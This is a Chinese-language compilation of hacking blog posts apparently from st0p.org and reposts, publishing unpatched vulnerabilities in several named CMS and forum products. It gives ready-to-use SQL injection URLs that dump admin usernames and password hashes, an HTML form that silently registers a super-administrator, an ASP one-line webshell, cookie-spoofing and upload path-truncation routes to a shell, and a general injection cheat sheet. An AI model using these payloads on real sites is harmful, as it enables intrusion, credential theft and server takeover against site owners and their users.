睛天电影系统 0DAY

作者:st0p & My5t3ry
转载请注明出处http://www.st0p.org

唉,和My5t3ry搞出的洞,联系了官方管理员,一直没人理我。

首先说注入问题

漏洞文件为/p_inc/hits_order.asp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!--#include file="../p_inc/config.asp"-->
<!--#include file="../p_inc/function.asp"-->
<!--#include file="../p_inc/function_func.asp"-->
<!--#include file="../p_inc/openconn.asp"-->
<!--#include file="../p_inc/G_function.asp"-->
<%
IF Not ChkPost() Then
	response.Redirect G_error_page_1
	response.End()
End IF
'这里调用了/p_inc/function.asp文件中ChkPost()函数检测来源网址
Function G_hitss(url,numb)
	Dim str
	str=""
	sql="select top "&numb&" id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1   order by  m_hits desc,id desc"
            '看到了没numb没有过滤
	Set rs=server.CreateObject(G_RS)
	rs.open sql,conn,1,1
	i=1
	Do While Not rs.Eof 
		d_url=url_(Array("d",rs(0),url))
		str=str&"<div class=kkk1_list><a class=bbb href="&d_url&" title='主演:"&rs(2)&"'>"&Get_length(rs(1),"",32)&"</a> ("&rs(3)&")</div>"
		i=i+1
		rs.movenext
	Loop
	G_hitss=str
End Function
%>
document.write("<%=G_hitss(request("url"),request("numb"))%>")
'这里的numb也没有过滤

利用方法如
1、可以直接用软件伪造Referer后,访问如下地址实现
2、通过XMLHTTP实现伪造Referer,访问如下地址实现

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,

注:只要跳过去Referer的检测,就可以通过POST,GET,COOKIE的各种方式来实现注入了。。。

访问以下内容后,管理员用户名在网址的链接中,密码HASH直接显示出来了。。

破解密码HASH,因为后台可以直接编辑ASP文件,进入后台拿SHELL就行了。

这程序还有别的漏洞。这里就不发了。。

作者:st0p
转载请注明出处:http://www.st0p.org

其实尘缘雅境图文系统和我上次发的沸腾新闻系统是同一群人开发的,所以漏洞基本相同。。。

如何得到用户名和密码?
1、默认数据库路径没改,直接下载,得到用户名和密码,机会很小。
2、通过注入得到用户名和密码hash,破解hash还原密码,如果实在无法还原的情况下,你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)的方法进行COOKIE欺骗。
3、直接注册用户为管理员,如果开放了注册的话,把下面代码保存为admin.htm,然后把action中的网址改成你对应的目标站就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<meta name="author" content="st0p,st0p.org">
</head>
 
<body topmargin="0">
<form align="center" method="post" name="FrmAddLink" action="http://www.st0p.org/admin/saveuser.asp">
      <div align="center">
            <input name="username" value="st0p" type="hidden">
            <input name="passwd" value="st0p.org" type="hidden">
            <input name="passwd2" value="st0p.org" type="hidden">
            <input name="question" value="st0p.org" type="hidden">           
            <input name="answer" value="st0p.org" type="hidden">
	    <input name="fullname" value="st0p.org" type="hidden">
	    <input name="depid" value="1" type="hidden">
            <input name="sex" value="先生" type="hidden">
            <input name="birthyear" value="1950" type="hidden">
            <input name="birthmonth" value="1" type="hidden">
            <input name="birthday" value="1" type="hidden">
            <input name="tel" value="1234567" type="hidden">
            <input name="email" value="webmaster@google.com" type="hidden">
            <input name="photo" value="" type="hidden">
            <input name="purview" type="hidden" value="99999">
            <input name="oskey" type="hidden" value="super">
            <input name="reglevel" type="hidden" value="1">
            <input name="jingyong" type="hidden" value="0">
            <input type="submit" value="添加管理员" name="cmdOk" class="buttonface" style="font-family: 宋体; font-size: 9pt;">
            </p>
      </div>
    </form>
</body>
</html>

添加成功后,我们直接用帐号:st0p 密码:st0p.org登陆后台就可以了。

当然不只以上的方法拿到管理员的信息,由于我们讨论的是拿SHELL的思路,所以如何得到管理员信息这里我们不多做研究。

如何拿到SHELL?
1、通过远程保存文件,当然这种情况适用于利用iis6,是利用iis6的一个BUG来实现的,具体你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)中的方法拿SHELL
2、登陆后台发一篇文章,标题我们使用

1
<%execute request("st0p")%>

内容随意写,发表成功后,我们访问http://www.st0p.org/admin/createasp.asp,会提示首页调用ASP已经更新!这样我们就得到了了一句话的马了。。
地址为:http://www.st0p.org/lastnewsxp.asp,密码为st0p
3、还有一种是通过进入后台,在系统管理-->网站属性-->上传类型中添加脚本的类型的方法,本来我们应该可以添加如asp,php,aspx,cer,asa等等类型的,然后发表文章的时候直接上传脚本来实现的。不过程序中由于以下代码过滤了asp,aspx,asa,所以只有当支持CER,PHP或别的脚本类型时可以上传成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        fileExt=lcase(file.FileExt)
		Forumupload=split(UpFileType,"|")
		for i=0 to ubound(Forumupload)
			if fileEXT=trim(Forumupload(i)) then
				EnableUpload=true
				exit for
			end if
		next
		if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
			founderr=true
		end if

4、利用后台头像上传漏洞,通过NC截取来实现上传SHELL的目的。由于uploadfaceok.asp文件中可以自定义上传路径filepath参数,我们可以通过抓包修改filepath参数,实现截断文件名拿到SHELL,具体利用方法就不在这里发了,大家可以BAIDU一下关于NC上传的知识。重要部分的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
 formPath=upload.form("filepath")
 if right(formPath,1)<>"/" then formPath=formPath&"/" 
......
 fileExt=lcase(getFileExtName(file.fileName))
 
 if fileext<>"jpg" and fileext<>"png" and fileext<>"gif" and fileext<>"bmp" then
 	response.write "<span style=""font-family: 宋体; font-size: 9pt"">该文件格式不允许上传 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
'检测了上传文件名的后缀,但没有检测上传路径是否非法
	response.end
 end if
 
randomize
rannum=int(90000*rnd)+10000
filename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileExt
 if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据
  file.SaveAs Server.mappath(formPath &filename)   '没有过滤就直接带入了formPath
response.write "<script>parent.document.FrmAddLink.photo.value='uploadfile/face/"&FileName&"'</script>"
 end if
......

先总结到这吧,当然应该还有一些别的地方可以利用。但st0p没时间写了,还有事要做。。有空在接着添加吧。。

作者:st0p
转载请注明出处:http://www.st0p.org

看到群里的無材发来一站,打开看了一下,很像是沸腾新闻系统,不过版本写的是V0.1,网上没找到相应的版本,发现有1.1和0.45两个版本,记得在News.asp存在注入来着,试了一下,的确可以,不过因为版本不同,所以news表的字段不同,所有语句有点不同。

经过st0p的尝试,目标站应该是0.45的,通过以下语句成功得到后台用户名和密码HASH,我是试到27个字段时成功的。。

http://st0p.org/News.asp?click=1&shu=20%201%20as%20NewsID,username%20as%20title,3%20as%20updatetime,passwd%20as%20click,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20from%20admin%20%20order%20by%202%20desc%20union%20select%20top%202

boiling-news-system-v0-45-take-shell1

看到没,我们得到了用户名xcb,密码为c95ca278a74775f8,然后我们去破解MD5,郁闷,查不到,无法破解,难道无法进入后台来着。。。
然后我查看了一下0.45版的代码,发现了验证用户登陆的部分在admin/chkuser.asp中,我们看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
< %
IF not(Request.cookies("KEY")="super" or Request.cookies("KEY")="check" or Request.cookies("KEY")="typemaster" or Request.cookies("KEY")="bigmaster" or Request.cookies("KEY")="smallmaster" or Request.cookies("KEY")="selfreg") THEN
'首先检测cookies中的key,如果不为上面的值,自动转向登陆页面
response.redirect "login.asp"
response.end
END IF
set urs=server.createobject("adodb.recordset")
sql="select * from admin where username='"&Request.cookies("username")&"'"
'查询cookies中username是否是管理用户
urs.open sql,conn,1,3
if urs.bof or urs.eof then
response.redirect "login.asp"
response.end
end if
IF Request.cookies("passwd")<>urs("passwd") THEN
'如果用户存在,验诈cookies中的passwd字段是否和用户的密码HASH相同,不同则转向
response.redirect "login.asp"
response.end
END IF
urs.close
set urs=nothing
%>

嘿嘿,运气还真好,虽然无法破解密码HASH,但可以利用它实现欺骗。看利用过程。。 Read the rest of this entry

DEDECMS 小说连载模块 0DAY

作者:st0p
可以转载,不过请注明出处http://www.st0p.org

由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块

首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
< ?php
......
if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') "; 
//变量$catid不为0时,就直接把$catid给$addquery了,没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证
$query = "
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>

上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了
Read the rest of this entry

DVBBS php2.0 注入漏洞

来源:Xiaoz

boardrule.php?groupboardid=1/**/union/**/select/**/concat(0xBAF3CCA8D3C3BBA7C3FBA3BA,username,0x202020C3DCC2EBA3BA,password)/**/from%20dv_admin%20where%20id%20between%201%20and%204/**/

admin/index.php

进入后台即可了..

模板CSS里添加上php木马,或者用一句话木马连接即可拿到webshell了.

PHP的SQL注入

来源:lost Blog

语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

Insert语句:
Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3’)#
SQL 语句变为:Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

Update语句:我喜欢这样个东西
先理解这句SQL
Update user SET password='MD5($password)', homepage='$homepage' Where id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
Update user SET password='mypass', homepage='http://4ngel.net', userlevel='3' Where id='$id'
userlevel为用户级别
2:修改password值为
mypass)' Where username='admin'#
之后SQL语句变为
Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id'
3:修改id值为
' or username='admin'
之后SQL语句变为
Update user SET password='MD5($password)', homepage='$homepage' Where id='' or username='admin'
Read the rest of this entry

1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ’’=’

4.搜索时没过滤参数的’and [查询条件] and ’%’=’

5.判断数据库系统

;and (select count(*) from sysobjects)>0 mssql

;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)

;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)

;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--

;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));-- Read the rest of this entry

by:xhming

common.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )      //可绕过cfg_|GLOBALS限制
{
   exit('Request var not allow!');
}
}
 
       foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);        //可任意覆盖变量关键是_打头的变量
}

覆盖_FILES[]可导置本地包含漏洞(gpc/off);

例:

h tt p://127.0.0.1/dedecms/plus/vote.php?aid=1&_FILES=1&_FILES[cfg_templets_dir][name]=&_FILES[cfg_templets_dir][type]=1&_FILES[cfg_templets_dir][size]=200&&_FILES[cfg_templets_dir][tmp_name]=/dedecms/

另一处可能注入:

1
2
3
if($rs)
     {
      $bv->dsql->ExecuteNoneQuery("Update #@__member Set money=money-{$cfg_book_money} where id='{$ml->M_ID}' ");

也是利用_FILE覆盖$cfg_book_money.

乔客(joekoe) CMS 4.0 的2个高危漏洞
前段时间读了读乔客,发现在乔客4.0版本中存在两个高危漏洞,一个上传漏洞,可以随意上传任意文件,包括ASP,另一个是SQL注入,甚至还有返回错误信息,可怕啊

上传漏洞:
看\common\include\web.upload.asp 中的代码 Read the rest of this entry

涉及版本:网趣网上购物系统时尚版 v3.2 漏洞文件:getpwd2.asp,getpwd3.asp,getpwd4.asp 漏洞描述:变量username未经过滤带入sql查询,存在SQL注入漏洞. 关键代码: ASP代码 [code] [/code] 利用方法: post提交数据(可以借用剑心的Sql.htm[http://www.loveshell.net/blog /blogview.asp?logID=70]),默认管理员ID为4,密码为16位md5(小写字母),确定下范围0-9的asc值48-57,小写字母的asc值97-122 SQL代码 [code]' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 48 and 57)<>0 and ''=' ' or (select count(*) from admin where adminid=4 and asc(mid(password,N,1)) between 97 and 122)<>0 and ''=' [/code] 正确返回"取回密码",错误返回对话框"这个用户没有注册,请注册!"

转自:http://www.webxiaoz.cn/article/bug/615.htm